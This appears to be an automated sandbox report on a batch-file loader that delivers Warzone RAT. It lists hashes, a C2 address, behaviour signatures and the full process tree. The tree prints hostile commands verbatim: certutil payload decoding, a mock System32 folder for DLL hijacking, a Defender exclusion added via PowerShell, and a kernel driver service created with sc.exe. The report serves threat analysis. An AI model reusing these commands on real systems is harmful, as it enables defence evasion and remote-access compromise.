Analysis

  • max time kernel
    143s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/02/2024, 07:47

General

  • Target
    PRODUCT.bat
  • Size 2.6MB
  • Sample240206-jmh8dsbcc4
  • SHA256 277a01095a13bf08041d5a78c06f9f9ff32e77665e03cdd32c83ddc32a52fa59
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • warzonerat

C2
  • burger042.ddnsfree.com:1977

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

  • ModiLoader Second Stage 6 IoCs
  • Warzone RAT payload 6 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PRODUCT.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5048
    • C:\Windows\system32\cmd.exe
      cmd /c del "C:\Users\Public\pointer.com" / A / F / Q / S
      2⤵
        PID:1684
      • C:\Windows\system32\certutil.exe
        certutil -decodehex "C:\Users\Admin\AppData\Local\Temp\PRODUCT.bat" "C:\Users\Public\pointer.com" 3
        2⤵
          PID:3328
        • C:\Windows\system32\cmd.exe
          cmd /c PING -n 2 127.0.0.1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1864
          • C:\Windows\system32\PING.EXE
            PING -n 2 127.0.0.1
            3⤵
            • Runs ping.exe
            PID:3560
        • C:\Windows\system32\cmd.exe
          cmd /c start C:\Users\Public\pointer.com
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1412
          • C:\Users\Public\pointer.com
            C:\Users\Public\pointer.com
            3⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:2672
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\KyvoykbdO.bat" "
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:224
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c mkdir "\\?\C:\Windows "
                5⤵
                  PID:5060
                • C:\Windows\SysWOW64\xcopy.exe
                  xcopy "easinvoker.exe" "C:\Windows \System32\" /K /D /H /Y
                  5⤵
                  • Enumerates system info in registry
                  PID:4392
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                  5⤵
                    PID:3872
                  • C:\Windows\SysWOW64\xcopy.exe
                    xcopy "netutils.dll" "C:\Windows \System32\" /K /D /H /Y
                    5⤵
                    • Enumerates system info in registry
                    PID:1420
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                    5⤵
                      PID:2560
                    • C:\Windows\SysWOW64\xcopy.exe
                      xcopy "KDECO.bat" "C:\Windows \System32\" /K /D /H /Y
                      5⤵
                      • Enumerates system info in registry
                      PID:888
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                      5⤵
                        PID:1132
                      • C:\Windows \System32\easinvoker.exe
                        "C:\\Windows \\System32\\easinvoker.exe"
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:4408
                      • C:\Windows\SysWOW64\xcopy.exe
                        xcopy "x.bat" "C:\Windows \System32\" /K /D /H /Y
                        5⤵
                        • Enumerates system info in registry
                        PID:3956
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" ECHO F"
                        5⤵
                          PID:2204
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c "C:\\Windows \\System32\\easinvoker.exe"
                        4⤵
                          PID:2480
                          • C:\Windows \System32\easinvoker.exe
                            "C:\\Windows \\System32\\easinvoker.exe"
                            5⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:3560
                        • C:\Users\Public\Libraries\dbkyovyK.pif
                          C:\Users\Public\Libraries\dbkyovyK.pif
                          4⤵
                          • Executes dropped EXE
                          • Suspicious use of SetWindowsHookEx
                          PID:1952
                    • C:\Windows\system32\cmd.exe
                      cmd /c exit /b 0
                      2⤵
                        PID:2568
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:420
                      • C:\Windows\system32\cmd.exe
                        cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1912
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4148
                      • C:\Windows\system32\sc.exe
                        sc.exe create truesight binPath="C:\Users\Public\Libraries\truesight.sys" type=kernel
                        2⤵
                        • Launches sc.exe
                        PID:652
                      • C:\Windows\system32\sc.exe
                        sc.exe start truesight
                        2⤵
                        • Launches sc.exe
                        PID:4028

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          __PSScriptPolicyTest_zgdz3wde.xde.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgdz3wde.xde.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          KyvoykbdO.bat

                          • Path C:\Users\Public\Libraries\KyvoykbdO.bat
                          • Size 7KB
                          • SHA256 f46e0cc2c119a32dd87edf97bfc73d985ee97d2c9dc00274b6b20d641e29deea
                          • MD5 SHA1 SHA512 SSDEEP

                          dbkyovyK.pif

                          • Path C:\Users\Public\Libraries\dbkyovyK.pif
                          • Size 171KB
                          • SHA256 bdfa725ec2a2c8ea5861d9b4c2f608e631a183fca7916c1e07a28b656cc8ec0c
                          • MD5 SHA1 SHA512 SSDEEP

                          easinvoker.exe

                          • Path C:\Users\Public\Libraries\easinvoker.exe
                          • Size 128KB
                          • SHA256 30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96
                          • MD5 SHA1 SHA512 SSDEEP

                          netutils.dll

                          • Path C:\Users\Public\Libraries\netutils.dll
                          • Size 116KB
                          • SHA256 4e7d74a4890af9128e04c758d8e5fa9488ff22da64979725b26fcb0e8806e6f5
                          • MD5 SHA1 SHA512 SSDEEP

                          pointer.com

                          • Path C:\Users\Public\pointer.com
                          • Size 1.9MB
                          • SHA256 1d53d90687c4f61739b3d186d0c296a3fe47b0da1f599ac8115e11194ad49b30
                          • MD5 SHA1 SHA512 SSDEEP

                          KDECO.bat

                          • Path C:\windows \system32\KDECO.bat
                          • Size 4KB
                          • SHA256 c8e1912a3328802e98563e32eb053ae3e28249b701054af227e9f1ba6bfe24d9
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/1952-64-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/1952-62-0x0000000000400000-0x000000000055A000-memory.dmp

                          memory/1952-61-0x0000000039E00000-0x0000000039FA0000-memory.dmp

                          memory/1952-60-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/1952-59-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/1952-50-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/1952-54-0x0000000000400000-0x0000000001400000-memory.dmp

                          memory/2672-20-0x0000000000400000-0x00000000005E2000-memory.dmp

                          memory/2672-6-0x0000000002F60000-0x0000000003F60000-memory.dmp

                          memory/2672-5-0x0000000002F60000-0x0000000003F60000-memory.dmp

                          memory/2672-4-0x0000000002370000-0x0000000002371000-memory.dmp

                          memory/3560-58-0x00000000613C0000-0x00000000613E3000-memory.dmp

                          memory/4148-47-0x00007FFB700A0000-0x00007FFB70B61000-memory.dmp

                          memory/4148-44-0x000002ACB9A50000-0x000002ACB9A60000-memory.dmp

                          memory/4148-43-0x00007FFB700A0000-0x00007FFB70B61000-memory.dmp

                          memory/4148-33-0x000002ACD3E90000-0x000002ACD3EB2000-memory.dmp

                          memory/4408-32-0x00000000613C0000-0x00000000613E3000-memory.dmp